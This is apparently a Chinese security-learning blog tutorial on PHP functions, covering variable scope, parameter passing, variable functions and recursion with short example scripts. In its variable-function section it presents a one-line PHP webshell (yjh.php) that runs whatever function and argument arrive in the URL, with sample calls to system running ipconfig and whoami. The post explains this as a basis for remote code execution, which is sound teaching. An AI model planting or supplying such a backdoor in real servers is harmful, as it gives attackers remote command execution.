【CyberSecurityLearning 46】PHP 函数
目錄
自定義函數
結構
注意:
PHP變量的范圍
局部變量
全局變量
靜態變量
參數的傳遞
1、按值傳遞參數(默認方式)
2、按引用傳參
3、默認參數
4、可變函數參數列表
可變函數(變量函數)
最簡單的后門(最簡單的一句話木馬):$a($b)
遞歸函數
源碼
1.php
2.php(局部變量)
3.php(全局變量)
4.php(靜態變量)
5.php()
6.php(按默認值傳遞參數/引用傳參)
7.php(默認參數)
8.php(可變函數參數)
9.php(可變函數)
yjh.php(最簡單的后門)
10.php(遞歸函數)
自定義函數
代碼塊
有輸入,大多數情況下有輸出
?
結構
function 函數名(形參){
? ?代碼塊
? ?return ;
}
注意:
函數調用時,實參要按照順序給形參。
函數調用時,互相獨立,默認沒有聯系。
執行完畢后,返回調用的位置,繼續向下執行。
PHP變量的范圍
局部變量
在函數內部定義的變量
變量的作用范圍就是這個函數
全局變量
在PHP腳本中,函數外部定義的變量
變量的作用域為整個PHP腳本
在函數中使用全局變量?
1、傳參
2、聲明
global
3、常量的作用域,是超全局(函數內部、外部都能用)
<?php $a=10; define("NAME","AJEST") function test(){echo $a;global $a;echo $a;echo NAME; } test(); ?>靜態變量
在函數內部定義
用static修飾符修飾
僅在函數初次執行時被初始化
?
參數的傳遞
1、按值傳遞參數(默認方式)
對形參的操作,不會對實參產生影響。
2、按引用傳參
相當于給實參起了一個別名,對形參的操作會影響實參。
3、默認參數
如果沒有給函數傳遞實參,取默認值
建議:全給默認參數
4、可變函數參數列表
func_get_arg?(?int?$arg_num?) :?mixed
func_get_args();??? //
func_get_arg();???? //根據參數偏移量,從0開始計數,獲取參數
func_num_args();? //獲取參數的個數
可變函數(變量函數)
函數名為變量,類似這樣的結構
$a($b)
也是最簡單的后門
變量后面直接加括號——變成一個函數
這種動態函數非常危險,如果這個動態函數的函數名可以控制,參數可控,我們就可以直接任意命令了。這就是RCE(遠程命令/代碼執行漏洞)其中一個原理
我們有一些PHP語句不是函數,比如說print,echo。如果非要輸出試試printf。(printf只有字符串輸出功能)
那我們這個system函數會將字符串當做命令去執行
system — 執行外部程序,并且顯示輸出
最簡單的后門(最簡單的一句話木馬):$a($b)
就兩個變量名就沒了
<?php $_GET['a']($_GET['b']); ?>在URL中輸入:localhost/1.php?a=system&b=ipconfig
(system — 執行外部程序,并且顯示輸出)
在URL中輸入:localhost/1.php?a=system&b=whoami
遞歸函數
遞歸函數在函數內部自己調用自己的函數
?
?
源碼
1.php
<?php function userprint(){echo "This is userprint Fun!"; } function hello($name){echo "Hello, ".$name; } function add($a,$b){$c = $a + $b;return $c; } userprint(); hello("GGG"); echo "<hr />"; echo add(1,2); ?>2.php(局部變量)
<?php $a = 10; function test(){echo $a; } test(); echo "<hr />"; echo $a; ?>3.php(全局變量)
<?php $a = 10; define("NAME","GGG"); function test(){echo $a;global $a;echo $a;echo NAME; } test(); ?>4.php(靜態變量)
<?php function test(){static $a = 10;echo ++$a."|"; } test(); test(); test(); ?>?
5.php()
<?php function A(){echo "This is A fun!<hr />"; } function B(){echo "This is B fun!<hr />";A();echo "Fun B end!<hr />"; } function C(){echo "This is Fun C<hr />";B();echo "All Fun end<hr />"; } C(); ?>6.php(按默認值傳遞參數/引用傳參)
<?php /* function add($x){echo ++$x; } */ function add(&$x){echo ++$x; } $a = 3; add($a); echo "<hr />"; echo $a; ?>7.php(默認參數)
<?php function add($a=2,$b){echo $a+$b."<hr />"; } add(10,20); //add(4); add (1,2,3,4,5); ?>8.php(可變函數參數)
<?php function test(){//echo "This is :".__FUNCTION__;echo func_num_args();//傳參個數echo "<br />";echo func_get_arg(1);//根據參數偏移量,從零開始計數,獲取參數值echo "<br />";for($i=0;$i<func_num_args();$i++){echo func_get_arg($i)."|";} } //test(); test("GGG",24,true,89.9); echo "<br />"; ?>9.php(可變函數)
<?php function test1(){echo "This is func".__FUNCTION__;echo "<br />".func_get_arg(0); } function test2(){echo "This is func".__FUNCTION__;echo "<br />".func_get_arg(0); } //$a="test1"; //$a="test2"; //$a="var_dump"; //$a="echo" //$a("GGG");//函數 函數名$abs test1("GGG") //$a="printf"; $a ="system"; $a("ipconfig"); ?>yjh.php(最簡單的后門)
<?php $_GET['a']($_GET['b']); ?>10.php(遞歸函數)
<?php function test($n){echo $n.' ';if($n>0){test($n-1);}else{echo '<-->';}echo $n.' '; } test(3);//3 2 1 0 <-->0 1 2 3?>?
?
總結
以上是生活随笔為你收集整理的【CyberSecurityLearning 46】PHP 函数的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 基于HBase+ ElasticSear
- 下一篇: 边缘计算安全技术综述